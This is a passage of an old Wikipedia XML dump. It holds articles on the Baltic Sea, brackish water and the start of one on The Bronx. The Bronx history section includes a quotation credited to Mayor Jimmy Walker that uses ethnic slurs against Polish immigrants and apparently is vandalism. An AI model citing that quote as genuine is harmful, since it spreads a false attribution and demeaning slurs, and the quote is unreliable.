*'''''Baltic Sea''''' is used in ''[[English language|English]]''; in ''[[Latin]]'' (''Mare Balticum'') and the ''[[Romance languages]]'' [[French language|French]] (''Mer Baltique''), [[Italian language|Italian]] (''Mar Baltico''), [[Romanian language|Romanian]] (''Marea Baltică'') and [[Spanish language|Spanish]] (''Mar Báltico''); in the ''[[Slavic languages]]'' [[Polish language|Polish]] (''Morze Bałtyckie'' or ''Bałtyk''), [[Bulgarian language|Bulgarian]] (''Baltijsko More'' (''Балтийско море'')), [[Kashubian language|Kashubian]] (''Bôłt''), and [[Russian (language)|Russian]] (''Baltiyskoye Morye'' (''Балтийское море'')); and in the ''[[Baltic languages]]'' [[Latvian language|Latvian]] (''Baltijas jūra'') and [[Lithuanian language|Lithuanian]] (''Baltijos jūra'').

; Notes
# {{note|Latin-etymology}} {{sv_icon}} [http://www.lysator.liu.se/runeberg/nfbb/0435.html] (in [[Swedish language|Swedish]]).

==Geophysical data==
The Baltic Sea is a [[brackish]] inland sea, the largest body of brackish water in the world. The fact that it does not come from the collision of plates, but is a glacially scoured river valley, accounts for its relative shallowness.

===Dimensions===
The Baltic sea is about 1610 [[kilometre|km]] (1000 [[mile|mi]]) long, an average of 193 km (120 mi) wide, and an average of 55 m (180 ft, 30 [[fathom]]s) deep. The maximum depth is 459 m (1506 ft, 251 fathoms), on the Swedish side of the center. The surface area is about 377,000 sq km (145,522 sq mi) and the volume is about 21,000 cubic km (3129 cubic mi). The periphery amounts to about 8000 km (4968 mi) of coastline. [http://www.envir.ee/baltics/geograph.htm]
These figures are somewhat variable because a number of different estimates have been made.

===Icing in winter===

On average, the Baltic Sea is iced in winter for roughly half of its surface area. The ice-covered area includes [[Gulf of Bothnia]], [[Gulf of Finland]], [[Gulf of Riga]] and Vainameri in Estonian archipelago. The Baltic proper, or Central Baltic Sea, does not normally freeze at all with the exception of sheltered bays and shallow lagoons (such as the [[Courland Lagoon]]). The ice reaches a maximum extent in February or March; a typical ice thickness is ~65 cm.(Alhonen 88)

[[Ice|Icing]] begins in the northern coast of [[Gulf of Bothnia]] typically in early November, reaching the open waters of [[Bothnian Bay]], the northern basin of Gulf of Bothnia, in early January. [[Bothnian Sea]], the basin south of it, is frozen on average in late February. [[Gulf of Finland]] and [[Gulf of Riga]] freeze typically in late January.  Ice may persist in some regions as late as June.(Alhonen 89) 

The degree of icing depends on whether the winter is mild, moderate or severe. Severe winters ice even the regions around [[Denmark]] and southern [[Sweden]], and on rare cases the whole sea is frozen, such as in 1942. More recently in 1987, some 96 % of Baltic Sea was iced, leaving only a small patch of open water to the west of [[Bornholm]]. Contrary to this, in milder winters it may happen that [[Bothnian Bay]] is the only larger area iced, in addition to coastal fringes in more southerly locations. From late 1980's onwards this has actually been quite usual, happening on average every fifth winter or so.

In spring, Gulf of Finland and Bothnian Sea thaw normally during late April, with some ice ridges persisting until May in eastern Gulf of Finland. In Bothnian Bay ice usually stays until late May; by early June it is practically always gone.

During winter fast ice, attached to the shoreline, develops first, rendering the ports unusable without the services of [[icebreaker]]s. Level ice, ice sludge, pancake ice or rafter ice form in the more open regions. The gleaming expanse of ice is similar to the [[arctic]], with wind-driven pack ice and ridges up to 15 m, and was noted by the ancients. During average winters, by February, the ice pack becomes fairly compact and stable in [[Bothnian Bay]], [[Gulf of Finland]] and [[Gulf of Riga]]. However, on the larger expanse of [[Bothnian Sea]] there rarily exists very long periods of total icing; winds and periods of milder weather frequently crush the ice along coastlines or even melt it. In milder winters this is also true in the other regions.

===Hydrography===
The Baltic Sea is effluent through the [[Danish straits]]; however, the flow is complex. A surface layer of brackish water discharges 940 cubic km per year into the [[North Sea]]. Due to the difference in [[salinity]], a sub-surface layer of more saline water moving in the opposite direction brings in 475 cubic km per year. It mixes very slowly with the upper waters, resulting in a salinity gradient from top to bottom, with most of the salt water remaining below 40 to 70 m of depth.  The general circulation is counterclockwise:  northwards along its eastern boundary, and south along the western one.(Alhonen 88) 

The difference between the outflow and the inflow comes entirely from fresh water. More than 250 streams drain a basin of about 1.6 million square km, contributing a volume of 660 cubic km per year to the Baltic. They include the major rivers of north Europe, such as the [[Oder]], the [[Vistula]], the [[Neman]], the [[Daugava]] and the [[Neva]]. Some of this water is polluted. Additional fresh water comes from the difference of [[precipitation]] less evaporation, which is positive.

Despite the influx of salt water in the lower levels, the Baltic is still more of a lake or river than a sea. Tides are negligible. Wave height in calm weather varies between 2 and 3 m. Violent and sudden storms often sweep the surface, due to large transient temperature differences and a long reach of wind.  Seasonal winds also cause small changes in sea level, on the order of 0.5 m.(Alhonen 88)

===Salinity===
The Baltic Sea's [[salinity]] is much lower than the ocean's, as a result of abundant freshwater runoff from the surrounding land; indeed, runoff contributes roughly 1/40th its total volume.(Alhonen 88)  It varies from 0.1 percent in the north to 0.6-0.8 percent in the center. Below 40-70 m, it can be as much as 1.5-2.0 percent. A lateral salinity gradient also exists from most saline in the northern [[Kattegat]] to least saline in the Northern [[Gulf of Bothnia]].
 
The most saline water remains on the bottom, creating a barrier to the exchange of [[Oxygen]] and nutrients, fostering totally different maritime environments.

===Regional emergence===
The land is still emerging from its subsident state, which was caused by the weight of the last glaciation. Consequently, the surface area and the depth of the sea are diminishing. The uplift is about eight millimetres per year on the Finnish coast of the northernmost Gulf of Bothnia .

==Geographic data==
=== Subdivisions ===

The northern part of the Baltic Sea is known as the [[Gulf of Bothnia]] out of which the northernmost part is referred to as the [[Bay of Bothnia]] or [[Bothnian Bay]]. The more roundish southern basin of the gulf is called [[Bothnian Sea]] and immediately to the south of it lies the [[Sea of Åland]]. The [[Gulf of Finland]] connects the Baltic Sea with [[Saint Petersburg|St. Petersburg]]. The [[Gulf of Riga]] lies between the [[Latvia]]n capital city of [[Riga]] and the [[Estonia]]n island of [[Saaremaa]].

The [[Northern Baltic|Northern Baltic Sea]] lies between the [[Stockholm]] area, southwestern Finland, and Estonia. The Western and Eastern Gotland Basins form the major parts of the [[Central Baltic Sea]] or Baltic proper. [[Bornholm Basin]] is the area east of [[Bornholm]] and [[Arkona Basin]] extends from Bornholm to the Danish isles of [[Falster]] and [[Zealand]]. 

In south, [[Bay of Gdańsk]] lies east of the [[Hel peninsula]] on the Polish coast and west of [[Sambia]] in [[Kaliningrad Oblast]]. [[Bay of Pomerania]] lies north of the islands of [[Usedom]] and [[Wolin]], east of [[Rügen]]. Between Falster and the German coast lie the [[Bay of Mecklenburg]] and [[Bay of Lubeck|Bay of Lübeck]]. The westernmost part of the Baltic Sea is the [[Bay of Kiel]]. The three [[Danish straits]], the [[Great Belt]], the [[Little Belt]] and [[Öresund|The Sound]] ''(Öresund)'' connect the Baltic Sea with the [[Kattegat]] bay and [[Skagerrak]] strait in the [[North Sea]]. The confluence of these two seas at [[Skagen]] on the northern tip of [[Denmark]] is a visual spectacle visited by many tourists each year.

===Land use===

The Baltic sea drainage basin is roughly four times the surface area of the sea itself. About 48% of the region is forested, with Sweden and Finland containing the majority of the forest, especially around the Gulfs of Bothnia and Finland. 

About 20% of the land is used for agriculture and pasture, mainly in Poland and around the edge of the Baltic sea proper, in Germany, Denmark and Sweden. About 17% of the basin is unused open land with another 8% of wetlands. Most of the latter are in the Gulfs of Bothnia and Finland.

The rest of the land is heavily populated.

===Demographics===

About 85 million people live in the Baltic drainage basin, 15 within 10 km of the coast and 29 within 50 km of the coast. Around 22 million live in cities, defined as centers of over 250,000. 90% of these are concentrated in the 10 km band around the coast. Of the nations containing all or part of the basin, Poland includes 45% of the 85 million, Russia 12%, Sweden 10% and the others (see below) less than 6% each.

== Geologic history==
The Baltic Sea somewhat resembles a [[river]]bed, with two tributaries (the [[Gulf of Finland]] and [[Gulf of Bothnia]]). From [[Geology|geological]] surveys it has become apparent that there was a river in the area prior to the [[Pleistocene]]: the [[Eridanus (geology)|Eridanos]]. Multiple glaciations in the Pleistocene scooped out the river bed into the sea basin. By the time of the last, or [[Eemian]] interglacial ([[Marine isotopic stage|MIS 5e]]), the Eemian sea was in place. 

From that time the waters underwent a geologic history summarized under the names listed below. Many of the stages are named after certain marine animals (e. g., the [[Littorina]] [[mollusk]]) that are clear markers of changing water temperatures and salinity.

The factors that determined the sea’s characteristics were the submergence or emergence of the region due to the weight of ice and subsequent isostatic readjustment, and the connecting channels it could find to the [[North Sea]]-[[Atlantic Ocean|Atlantic]] either through the straits of [[Denmark]] or at what are now the large lakes of [[Sweden]], and the [[White Sea]]-[[Arctic Sea]].

* [[Eemian sea]], 130,000-115,000 BP
* [[Baltic ice lake]], 12,600-10,300 BP
* [[Yoldian sea]], 10,300-9500 BP
* [[Ancylus lake]], 9500-8000 BP
* [[Mastogloia sea]] 8000 BP-7500 BP
* [[Littorina Sea|Littorina sea]], 7500-4000 BP
* [[Post-littorina sea]] 4000 BP-current

==Prehistory==
== History ==
At the time of the [[Roman Empire]], the Baltic Sea was known as the ''Mare Suebicum'' or ''Mare Sarmaticum''. [[Gaius Cornelius Tacitus|Tacitus]] in his AD [[98]] ''Agricola'' and ''Germania'' described the Mare Suebicum, named for the [[Suebi]] tribe, during the spring months, as a [[Brackish water|brackish]] [[sea]] when the ice on the Baltic Sea broke apart and chunks floated about. The [[Sarmatian]] tribes inhabited Eastern Europe and southern Russia. [[Jordanes]] called it the ''Germanic Sea'' in his work the [[Getica]].

Since the [[Viking age]], the Scandinavians have called it &quot;the Eastern Lake&quot; (''Austmarr'', &quot;Eastern Sea&quot;, appears in the [[Heimskringla]] and ''Eystra salt'' appears in [[Sörla þáttr]]), but [[Saxo Grammaticus]] recorded in [[Gesta Danorum]] an older name ''[[Gandvik]]'', ''&quot;-vik&quot;'' being [[Old Norse]] for &quot;bay&quot;, which implies that the Vikings correctly regarded it as an inlet of the sea. (Another form of the name, &quot;Grandvik&quot;, attested in at least one English translation of Gesta Danorum, is likely to be a misspelling.)

In addition to [[fish]] the sea also provides [[amber]], especially from its southern shores. The bordering countries have traditionally provided [[lumber]], [[Tar|wood tar]], [[flax]], [[hemp]], and [[fur]]s. Sweden had from early medieval times also a flourishing [[mining]] industry, especially on [[iron]] ore and [[silver]]. [[Poland]] had and still has extensive [[salt]] mines. All this has provided for rich trading since the Roman times.

In the early Middle Ages, [[Vikings]] of Scandinavia fought for power over the sea with [[Slavic peoples|Slavic]] [[Pomeranians]]. The Vikings used the rivers of Russia for trade routes, finding their way eventually all the way to [[Black Sea]] and southern Russia.

Lands next to the sea's eastern shore were among the last in Europe to be converted into [[Christianity]] in the [[Northern Crusades]]: [[Finland]] in the 12th century by the Swedes, and what are now [[Estonia]] and [[Latvia]] in the early 13th century by the Danes and the Germans ([[Livonian Brothers of the Sword]]). The powerful German [[Teutonic Knights]] gained control over most of the southern and eastern shore of the Baltic Sea, while fighting the [[Poles]], the [[Danes]], the [[Swedes]], the [[Russians]] of ancient [[Novgorod Republic|Novgorod]], and the [[Lithuanians]] (latest of all Europeans to convert to Christianity).

Later on, the strongest economic force in Northern Europe became the [[Hanseatic league]], which used the Baltic Sea to establish trade routes between its member cities. In the 16th and early 17th centuries, [[Poland]], [[Denmark]] and [[Sweden]] fought wars for ''Dominium Maris Baltici'' (Ruling over the Baltic Sea). Eventually, it was the [[Swedish Empire]] that virtually encompassed the Baltic Sea. In Sweden the sea was then referred to as ''Mare Nostrum Balticum'' (Our Baltic Sea).

In the 18th century [[Imperial Russia|Russia]] and [[Prussia]] became the leading powers over the sea. Russia's [[Peter I of Russia|Peter the Great]] saw the strategic importance of the Baltic and decided to found his new capital, [[Saint Petersburg]] at the mouth of the [[Neva]] river at the east end of the [[Gulf of Finland]]. There was much trading not just within the Baltic region but also with the North Sea region, especially the eastern [[England]] and the [[Netherlands]]: their fleets needed the Baltic timber, tar, flax and hemp.

During the [[Crimean War]] a joint fleet of [[United Kingdom|Britain]] and [[France]] attacked Russian fortresses by bombarding [[Sveaborg]] that guards [[Helsinki]] and [[Kronstadt, Russia|Kronstadt]] that guards [[Saint Petersburg]] and destroying [[Bomarsund]] in the [[Åland Islands]]. After the unification of [[Germany]] in [[1871]], the whole southern coast became German. The [[World War I|First World War]] was fought also on the Baltic Sea. After [[1920]] [[Poland]] returned to the Baltic Sea, and Polish ports of [[Gdynia]] and [[Gdańsk]] became leading ports of the Baltic.

During [[world War II|the Second World War]] Germany reclaimed all of the southern shore and much of the eastern by occupying Poland and the [[Baltic states]]. In [[1945]] the Baltic Sea became a mass grave for drowned people on torpedoed [[refugee ships]]. [[As of 2004]], the sinking of the [[Wilhelm Gustloff (ship)|Wilhelm Gustloff]] remains the worst [[maritime disaster]] of all time, killing (very roughly) 9,000 people. In 2005, a Russian group of scientists found over 5,000 airplane wrecks, sunken warships, etc., (mainly from [[world War II|the Second World War]]) lying in the bottom of the sea.

After [[1945]] the sea was a border between conflicted military blocks: in case of military conflict in Germany, in parallel with a Soviet offensive towards the [[Atlantic Ocean]], communist Poland's fleet was prepared to invade Danish isles.

In May [[2004]], the Baltic Sea became almost completely a [[European Union]] internal sea when the [[Baltic states]] and [[Poland]] became parts of the European Union, leaving only the Russian [[Metropolitan area|metropolis]] of [[Saint Petersburg]] and the [[exclave]] of [[Kaliningrad Oblast]] as non-EU areas.

The Baltic Sea starts to get very rough with the October storms. These winter storms have been the cause of many shipwrecks, for example, the sinking of the ferry ''[[M/S Estonia]]'' en route from [[Tallinn]], Estonia to [[Stockholm]], Sweden in [[1994]] that claimed the lives of hundreds. But thanks to the cold brackish water where the [[shipworm]] cannot survive, the sea is a time capsule for centuries-old shipwrecks. Perhaps the most famous one is the [[Vasa (ship)|Vasa]].

== Biology ==
[[Image:Phytoplankton bloom in the Baltic Sea (July 3, 2001).jpg|thumb|320px|Phytoplankton bloom in the Baltic Sea (July 3, 2001)]]

Approximately 100,000 square km of the seafloor (¼ of the total area) is a variable dead zone. The more saline (and therefore denser) water remains on the bottom, isolating it from surface waters and the atmosphere.  This leads to decreased oxygen concentrations within the zone.  It is mainly bacteria that grow in it, digesting organic material and releasing hydrogen sulfide.  Because of this large anaerobic zone, the seafloor ecology differs from that of the neighbouring Atlantic.

The low salinity of the Baltic sea has led to the evolution of many slightly divergent species, such as the Baltic Sea [[herring]], which is a smaller variant of the [[Atlantic Ocean|Atlantic]] herring. The [[benthos|benthic fauna]] consists mainly of ''[[Monoporeia affinis]]'', which is originally a freshwater species. The lack of [[tides]] has affected the marine species as compared with the Atlantic.

== Economy ==
Construction of the [[Great Belt Bridge]] ([[1997]]) and [[Oresund Bridge]] ([[1999]]) over the [[international waterway]] of the [[Danish Straits]] limited the Baltic Sea to the middle-sized vessels. In meantime, the Baltic Sea is the main trade route for export of Russian oil. Many of the neighboring countries are rather concerned about this, since a major oil leak would be disastrous in the Baltic given the slow exchange of water, and the many unique species. The tourism industries, especially in economies dependent on tourism like for example in northeastern Germany, are naturally very concerned.

Shipbuilding is practiced in many large shipyards around the Baltic: [[Gdańsk]], [[Szczecin]] in Poland, [[HDW]] in [[Kiel]], Germany, [[Karlskrona]] and [[Kockums]] in [[Malmö]], Sweden, and [[Rauma, Finland|Rauma]], [[Turku]], [[Helsinki]] in Finland, [[Rīga]], [[Liepāja]] in Latvia and [[Klaipėda]] in Lithuania.

There are several cargo and passenger [[ferry]] operators on the Baltic Sea, such as [[Silja Line]], [[Polferries]], [[Viking Line]], [[Tallink]] and [[Superfastferries]].

== Countries ==
{{Main|Baltic Sea countries}}
Countries that border on the sea:
*[[Denmark]]
*[[Estonia]]
*[[Finland]]
*[[Germany]]
*[[Latvia]]
*[[Lithuania]]
*[[Poland]]
*[[Russia]]
*[[Sweden]]

Countries that are in the drainage basin but do not border on the sea:
*[[Belarus]]
*[[Czech Republic]]
*[[Norway]]
*[[Slovakia]]
*[[Ukraine]]

== Islands and Archipelagoes ==
{{Main|List of islands in the Baltic Sea}}
*[[Åland Islands]]    ([[Finland]], [[autonomous]])
*[[Bornholm]]         ([[Denmark]])
*[[Gotland]]          ([[Sweden]])
*[[Hailuoto]]         ([[Finland]])
*[[Hiiumaa]]          ([[Estonia]])
*[[Kotlin]]           ([[Russia]])
*[[Muhu]]             ([[Estonia]])
*[[Öland]]            ([[Sweden]])
*[[Rügen]]            ([[Germany]])
*[[Saaremaa]]         ([[Estonia]])
*[[Stockholm archipelago]] ([[Sweden]])
*[[Usedom]] or Uznam (split between [[Germany]] and [[Poland]])
*[[Valassaaret]] ([[Finland]])
*[[Wolin]]            ([[Poland]])

== Cities ==

The biggest coastal cities:
*[[Saint Petersburg]] (Russia) 4,700,000
*[[Riga]] (Latvia)        760,000
*[[Stockholm]] (Sweden) 743,703 (metropolitan area 1,823,210)
*[[Helsinki]] (Finland) 559,716 (metropolitan area 980,000)
*[[Copenhagen]] (Denmark) 502,204 (metropolitan area 1,823,109) (facing the [[Oresund|Sound]])
*[[Gdańsk]] (Poland) 462,700
*[[Szczecin]] (Poland)    413,600
*[[Tallinn]] (Estonia)    401,774
*[[Kaliningrad]] (Russia) 400,000
*[[Malmö]] (Sweden)       259,579 (facing the [[Oresund|Sound]])
*[[Gdynia]] (Poland) 255,600
*[[Kiel]] (Germany)       250,000
*[[Lübeck]] (Germany)     216,100
*[[Rostock]] (Germany)    212,700
*[[Klaipėda]] (Lithuania) 194,400
*[[Turku]] (Finland) 175,000

Important ports (though not being big cities):
*[[Świnoujście]] (Poland) 50,000
*[[Ventspils]] (Latvia)   44,000
*[[Baltiysk]] (Russia)    20,000
*[[Hanko]] (Finland)      10,000

*[[Ports of the Baltic Sea]]

== See also ==
*[[Baltic]]
*[[Baltic region]]
*[[Council of the Baltic Sea States]]
*[[Baltic states]]
*[[Scandinavia]]
*[[Northern Europe]]
*[[List of rivers of the Baltic Sea]]

==References==

*Fairbridge, Rhodes.  ''The Encyclopedia of Oceanography''.  Pentti Alhonen, &quot;Baltic Sea&quot;, pp. 87-91.  New York:  Van Nostrand Reinhold Company, 1966.

== External links ==
*[http://www.balticseaportal.fi The Baltic Sea Portal] - a site maintained by the [http://www.fimr.fi/en.html Finnish Institute of Marine Research] (FIMR) (in English, Finnish, Swedish and Estonian)
*[http://depts.washington.edu/baltic/encyclopedia.html Encyclopedia of Baltic History]
*[http://www.nada.kth.se/~ovidiu/maps/images/1493-schedel-europa.jpg 1493 H. Schedel Map with Mare Germanicum] 
*[http://www.abc.se/~pa/uwa/wrecks.htm Old shipwrecks] in the Baltic
*[http://www.pgi.gov.pl/pgi_en/index.php?option=news&amp;task=viewarticle&amp;sid=4&amp;Itemid=2 How the Baltic Sea was changing] - Prehistory of the Baltic from the [http://www.pgi.gov.pl/ Polish Geological Institute]
*[http://www.helsinki.fi/maantiede/geofi/fennia/demo/pages/oksanen.htm Late Weichselian and Holocene shore displacement history of the Baltic Sea in Finland] - more prehistory of the Baltic from the [http://www.helsinki.fi/geography/ Department of Geography] of the [[University of Helsinki]]
*[http://maps.grida.no/baltic Baltic Environmental Atlas: Interactive map of the Baltic Sea region]
*[http://www.envir.ee/baltics/ The Baltic Sea Environment]

===Tourism links===
[[Image:2_SPN_01.jpg|thumb|right|200px|Polish Coast]]
* [http://www.zrot.pl Zrot : Official Tourism Site Western Pomerania (PL)] (Polish, English, German)
* [http://www.zart.com.pl Zart : Polish Tourism Site Western Pomerania (PL)] (Polish, English, German)
* [http://www.vorpommern.de Official German Tourism Site : Regional Tourist Board Vorpommern (D)] (English, German, Swedish, Polish, French, Russian, Spanish)
* [http://www.ostseeland.de Ost|See|Land - Overview: German Polish- Tourism site (D)] (English, German, Swedish, Polish)
*[http://itameri.kyamk.fi/e.html The Baltic Sea Information Centre] (English, Finnish)

[[Category:Baltic Sea]]

[[af:Oossee]]
[[ar:بلطيق]]
[[bg:Балтийско море]]
[[ca:Mar Bàltica]]
[[cs:Baltské moře]]
[[cy:Y Môr Baltig]]
[[da:Østersøen]]
[[de:Ostsee]]
[[et:Läänemeri]]
[[el:Βαλτική Θάλασσα]]
[[es:Mar Báltico]]
[[eo:Balta maro]]
[[fr:Mer Baltique]]
[[gl:Mar Báltico]]
[[ko:발트 해]]
[[id:Laut Baltik]]
[[is:Eystrasalt]]
[[it:Mar Baltico]]
[[he:הים הבלטי]]
[[csb:Bôłt]]
[[la:Mare Balticum]]
[[lv:Baltijas jūra]]
[[lt:Baltijos jūra]]
[[hu:Balti-tenger]]
[[mk:Балтичко Море]]
[[nah:Mare Baltica]]
[[nl:Oostzee]]
[[nds:Oostsee]]
[[ja:バルト海]]
[[no:Østersjøen]]
[[nn:Austersjøen]]
[[pl:Morze Bałtyckie]]
[[pt:Mar Báltico]]
[[ro:Marea Baltică]]
[[ru:Балтийское море]]
[[simple:Baltic Sea]]
[[sk:Baltské more]]
[[sl:Baltsko morje]]
[[sr:Балтичко море]]
[[fi:Itämeri]]
[[sv:Östersjön]]
[[th:ทะเลบอลติก]]
[[tr:Baltık Denizi]]
[[uk:Балтійське море]]
[[zh:波罗的海]]</text>
    </revision>
  </page>
  <page>
    <title>Brackish water</title>
    <id>3336</id>
    <revision>
      <id>41844884</id>
      <timestamp>2006-03-02T02:47:29Z</timestamp>
      <contributor>
        <ip>71.52.254.139</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">''&quot;Brackish&quot; redirects here. For the Kittie song, see [[Brackish (song)]].''

'''Brackish water''' is water that is [[salinity|saltier]] than [[fresh water]], but not as salty as [[sea water]]. It may result from mixing of seawater with fresh water, as in [[estuary|estuaries]], or it may occur as in brackish fossil [[aquifer]]s.  Technically, brackish water contains between [[1 E-4 kg|0.5]] and [[1 E-2 kg|30 grams]] of [[salt]] per [[litre]]&amp;mdash;more often expressed as 0.5 to 30 parts per thousand (ppt or &amp;permil;).  Thus, ''brackish'' covers a range of [[Salinity#Systems of classification of water bodies based upon salinity|salinity regimes]] and is not considered a precisely defined condition.  It is characteristic of many brackish surface waters that their salinity can vary considerably over space and/or time.

== Etymology ==
The term brackish water derives from the [[Middle Low German]] word ''brackwater'' or possibly the [[Dutch language|Dutch]] word ''brakwater'', which is the water of a '''brack'''. A brack is a small lake created when a [[storm tide]] breaks a [[dike (construction)|dike]] and floods land behind the dike.

== Brackish water aquaria ==
Keeping brackish water [[aquaria]] is a popular specialization within the fishkeeping hobby. Many species of fish traded as [[freshwater]] species actually do better in brackish water, for example black mollies, Florida flagfish, and some [[cichlid]]s such as orange chromides. There are also several popular species traded purely as brackish water fish, including ''[[Monodactylidae|Monodactylus]]'' spp, scats, [[archerfish]], and various species of [[pufferfish]], [[goby]], and flatfish. Generally aquarists need to maintain a [[specific gravity]] of around 1.005 to 1.010 depending on the species being kept, but practically all brackish water fish tolerate variations in [[salinity]] well, and some aquarists maintain that regularly fluctuating the salinity in the aquarium actually keeps the fish healthy and free of parasites.

==Brackish bodies of water==
*[[Baltic sea]] (the world´s largest pool of brackish water)
*[[Chilka Lake]], in [[Orissa]] state, [[India]]
*[[Hampton Roads]], [[Virginia]], USA
*[[Kaliveli Lake]], near [[Pondichery]], [[India]]
*[[Lingding Yang]], [[Guangdong]], [[China]]
*[[Pangong Tso]] in [[Ladakh]], [[Jammu and Kashmir]] state, [[India]] 
*Lake [[Lake Pontchartrain|Pontchartrain]], north of [[New Orleans, Louisiana|New Orleans]], [[Louisiana]], [[United States|USA]]
*[[Pulicat Lake]], north of [[Chennai]], [[India]]
*The [[Rann of Kutch]], on the border of [[India]] and [[Pakistan]]
*Parts of the [[Rhone]] Delta, [[France]]: An area known as the [[Camargue]].
*The [[Thames Estuary]] in east [[London]]
*[[the Fleet]] [[lagoon]], [[Dorset]], [[England]]
*The [[Chesapeake Bay]], in [[Maryland]], [[USA]].
*Lagos Lagoon in Lagos, Nigeria
*Lower [[Hudson River]], in [[New York]] and [[New Jersey]], [[USA]]

==See also==
* [[Baltic Sea]]
* [[Biosalinity]]
* [[Desalination]]
* [[Permian Sea]] (underwater basin and remnant of the ancient Permian Ocean) extending underground from Eastern New Mexico (USA) to West Texas
* [[Slough (wetland)|Slough]]
* [[Port Royal Sound]] part of Beaufort County, SC [http://www.lowcountryestuarium.org Lowcountry Estuarium]

==External links==
*[http://homepage.mac.com/nmonks/aquaria/brackfaqpart1.html Brackish Water Aquarium FAQ]

[[Category:Liquid water]]

[[ar:ماء مسوس]]
[[da:Brakvand]]
[[de:Brackwasser]]
[[et:Riimvesi]]
[[es:Agua salobre]]
[[eo:Saleta akvo]]
[[fr:Saumâtre]]
[[id:Air payau]]
[[is:Ísalt]]
[[nl:Brakwater]]
[[nds:Brackwater]]
[[pl:Woda brachiczna]]
[[pt:Salobra]]
[[fi:Murtovesi]]
[[sv:Bräckt vatten]]</text>
    </revision>
  </page>
  <page>
    <title>Binomial Distribution</title>
    <id>3337</id>
    <revision>
      <id>15901679</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Binomial distribution]]
</text>
    </revision>
  </page>
  <page>
    <title>The Bronx</title>
    <id>3338</id>
    <revision>
      <id>41726314</id>
      <timestamp>2006-03-01T08:53:11Z</timestamp>
      <contributor>
        <ip>85.228.71.232</ip>
      </contributor>
      <text xml:space="preserve">:''For the American punk rock band see [[The Bronx (band)]]''
{{main|New York City}}

{| width=&quot;300px&quot; align=&quot;right&quot;
|-
|
[[Image:Bronx Highlight New York City Map Julius Schorzman.png|thumb|300px|right|The Bronx, highlighted in yellow, is the only borough of New York City on the mainland of the United States.]]
|-
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[[Image:Map of New York highlighting Bronx County.png]]
|}
'''The Bronx''' is one of [[The Five Boroughs|the five borough]]s of [[New York City]] in the [[United States]]. It is coterminous with '''Bronx County''' of the State of [[New York]]. It is the northernmost and only  borough of New York City on the [[North American]] mainland, located south of [[Westchester County, New York|Westchester County]]. It also includes several small islands in the [[East River]] and [[Long Island Sound]]. {{GR|6}}. The [[Harlem River]] separates The Bronx from the island of [[Manhattan]].

The Bronx takes its name from Bronck's Farms, after an early settler ([[1641]]) in the area, [[Jonas Bronck]], a [[Swedish]]-[[Netherlands|Dutch]] sea captain, whose 500 [[acre]] (2&amp;nbsp;km&amp;sup2;) farm lay between the Harlem River and the [[Bronx River|Aquahung]], which now bears his name.  The ''borough's'' name is officially '''The Bronx''', but the ''county's'' name is officially just '''Bronx''', without the definite article. According to a [[2003]] [[census]] estimate, the population of Bronx County was approximately 1,363,198.

==History==
The territory now contained within Bronx County was originally part of [[Westchester County, New York|Westchester County]], an original county of New York State. The present Bronx County was contained in four [[town]]s: '''Westchester, Yonkers, Eastchester,''' and '''Pelham.''' In [[1846]], a new town, '''West Farms,''' was created by secession from Westchester; in turn, in [[1855]], the town of [[Morrisania]] seceded from West Farms. In [[1873]], the town of '''Kingsbridge''' (roughly corresponding to the modern Bronx neighborhoods of Kingsbridge, Riverdale, and Woodlawn) seceded from [[Yonkers]].

In [[1874]], the western portion of the present Bronx County, consisting of the towns of Kingsbridge, West Farms, and [[Morrisania]], was transferred to [[New York County, New York|New York County]], and in [[1895]] the Town of Westchester and portions of Eastchester and Pelham, were transferred to New York County. [[City Island, New York|City Island]], known as New York City's only nautical community, voted to secede from Westchester County and join New York County in [[1896]]. In 1898 New York City amalgamated, with the Bronx as one of five boroughs (though still within New York County).  In [[1914]], those parts of the then New York County which had been annexed from Westchester County were constituted the new Bronx County (while also keeping its status as one of the five boroughs of the city). 

The Bronx underwent rapid growth after World War I. Extensions of the [[New York City Subway]] contributed to the increase in population as thousands of immigrants flooded the Bronx, resulting in a major boom in residential construction.  Among these groups, many Irish settled here. Author [[Willa Cather]], [[Pierre Lorillard]] who made a fortune on tobacco sales, and inventor [[Jordan Mott]] were famous for settling the land. In addition, French, German and Polish immigrants moved into the Borough.  The Jewish population also increased notably during this time and many [[synagogues]] are still evident throughout the borough (although a good portion of these have been converted to other uses).

In the prohibition days, [[bootleggers]] and [[gangs]] ran rampant in the Bronx. Mostly Polish and Italian immigrants smuggled in the illegal whiskey.  By 1926, the Bronx
was noted for its high crime rate and its many [[speakeasies]]. Mayor [[Jimmy Walker]] states: 

:''The Manhattan Polak is very different from the Bronx Polak. The Manhattan Polak would smuggle in the illegal whiskey secretly so as the cops aren't on 'em or don't see 'em a mile away. In the Bronx, the Polaks don't give a lick if they spotted with it. They'd pull out their guns as quick as lighting and the cops who be dead men in less than a second''.

After the 1930s, the Polish immigrant population in the Bronx decreased as a result of better living conditions in other states.  The German population followed suit in the 1940s and so did many Italians in the 1950s, leaving a thriving [[Hispanic]] and [[African-American]] population which would continue to live and dominate in the Bronx to this day.    

During the mid [[1960s]] to the mid [[1970s]], the Bronx went into an era of sharp decline in [[quality of life]]. Many factors have been put forward by historians and other social scientists. They include the theory that [[urban renewal]] projects in the borough (such as [[Robert Moses]]' [[Cross Bronx Expressway]]) destroyed existing low-density neighborhoods in favor of roads that produced [[urban sprawl]] as well as high-density [[Public housing in the United States|housing projects]]. Another factor may have been the shift by insurance companies and banks to stop offering their services to the Bronx and other working-class industrial areas (the &quot;[[Rustbelt]]&quot;) in favor of the booming [[suburbs]] in &quot;the [[Sunbelt]]&quot;&amp;mdash; a process known as [[redlining]]. 

For a period, a wave of [[arson]] overtook the borough's apartment buildings, with competing theories as to why. Some point to the heavy traffic and use of illicit drugs among the area's poor as causing them to be inclined to [[scam]] the city's benefits for burn-out victims as well as the [[Section 8 (housing)|Section 8]] housing program. Others believe landlords decided to burn their buildings before their insurance policies expired and were not renewed. After the destruction of nearly half of the buildings in the South Bronx, the arsons all but ended during the tenure of Mayor [[Ed Koch]] with aftereffects still felt into the early [[1990s]].

==Landmarks==
[[Image:Yankee stadium.jpg|right|frame|[[Yankee Stadium]] is home to the [[New York Yankees]].]]

